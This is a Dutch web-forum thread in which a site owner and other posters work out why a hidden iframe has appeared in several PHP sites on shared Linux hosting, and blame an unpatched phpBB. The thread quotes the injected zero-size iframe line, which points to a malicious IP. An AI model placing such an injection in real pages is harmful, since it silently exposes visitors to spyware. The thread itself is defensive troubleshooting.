toevoeging iframe aan indexpagina

[V. Kleijnendorst]

Hallo,

Ik heb het volgende erg vervelende en erg rare probleem.
Aan een indexpagina (index.php) van een website is in de sourcecode het volgende toegevoegt:

<iframe src="http://69.50.190.135/?to=OUT25&from=host1" width=0 height=0 frameborder=no></iframe> 

(ip adres staat bekend om erg ranzige spyware)

Dit staat hardcoded in de broncode van het PHP script.
Het bestand heeft geen aangepaste rechten (chmod).
In mijn FTP client zie ik dat de laatst modified datum op gisteren staat, terwijl het weken geleden is dat dit script door mij is aangepast. Buiten mij heeft niemand FTP toegang tot deze website.

Hoe kan dit gebeuren? Brakke beveiliging op de server zelf? Andere websites op deze server hebben het probleem niet.

[Triloxigen]

Ik heb het al eens eerder bij andere gezien..
Volgens mij is het spyware/virus op de pc van de client die gewoon die bestanden doorzoekt en het toevoegt.

[iDiensten]

kun je in je server log niets terugvinden hierover... lijkt me stug.

wellicht standaard software draaien die niet volledig gepached was?

[V. Kleijnendorst]

Ik heb het al eens eerder bij andere gezien..
Volgens mij is het spyware/virus op de pc van de client die gewoon die bestanden doorzoekt en het toevoegt.

Het staat in de broncode van het script.
Inmiddels op twee andere websites ontdekt. Brakke server bij de hoster dus.

[Triloxigen]

Origineel geplaatst door V. Kleijnendors


Het staat in de broncode van het script.
Inmiddels op twee andere websites ontdekt. Brakke server bij de hoster dus.

Ik bedoel dus de client die de bestanden upload...
Het is niks op de server, het is de webmaster zeg maar..

[V. Kleijnendorst]

Zoals in mijn startpost al staat; het is een website van mij. De laatste wijziging heeft weken geleden plaats gevonden. Toch staat de last-modified datum in mijn FTP client op gisteren.

De website van mijn webhoster heeft het ook(!). 4 andere websites van mij ook. (een paar uur geleden nog niet).

Ik heb geen spyware of virus hier. Ook vanaf andere PC's wordt de iframe ingeladen. Check www.webcreators.nl maar eens (de broncode van een willekeurige pagina).

[Triloxigen]

Is het anders een Windows server?

[V. Kleijnendorst]

Nope, Redhat Linux

[crazycoder]

Heb zoiets een tijdje geleden ook eens gehoord.. Geloof dat het toen met phpbb te maken had... niet zeker van..

[V. Kleijnendorst]

Ik weet niet wat voor andere websites op deze servers staan; het is shared hosting.

Het lijkt op meerdere servers voor te komen.
Met Google vind ik zo gauw niets wat op een worm duidt.

[crazycoder]

Als je toegang heb tot de kale logfiles dan zou je kunnen kijken of er iets geks gebeurt is rond de tijd waarop het bestand aangepast is.
Zo niet, dan kan je hoster dat misschien?

[MaffeMuis]

Er draait op die server een brakke phpBB

http://www.phpbb.com/phpBB/viewtopic...135&start=1155

Dat topic staat ook een voorbeeld van mensen die er last van hebben, misschien de host adviseren om mod_secure te installen

[MaffeMuis]

klote internet

sorry dubbel post

[crazycoder]

Origineel geplaatst door MaffeMuis
klote internet

sorry dubbel post

Moeilijk he, zo'n browser

Beveiligingsproblemen met scripts komen wel vaker voor..
http://www.geeklog.net/forum/viewtop...&lastpost=true

[MaffeMuis]

Origineel geplaatst door crazycoder

Moeilijk he, zo'n browser

[/url]

me internet hikte, me webradio werdt er zelfs stil van...

Er moet gewoon bijna een verbod op gaan komen op phpBB
niks anders dan bugjes. Elke x als ik een nieuwe phpBB op me servers zie komen, heb ik steeds meer medelijden met mijn servers... want je weet gewoon dat er weer een fucking bug in zit, en mensen niet weten dat ze moeten update of willen update. en jij als server beheerder loop maar gaten dicht te metselen van andere mensen...

Mijn mod_secure zie ik niks anders dan meldingen van blokkades.
machtig tooltje dat Maar je moet goed je rule-set in de gaten houden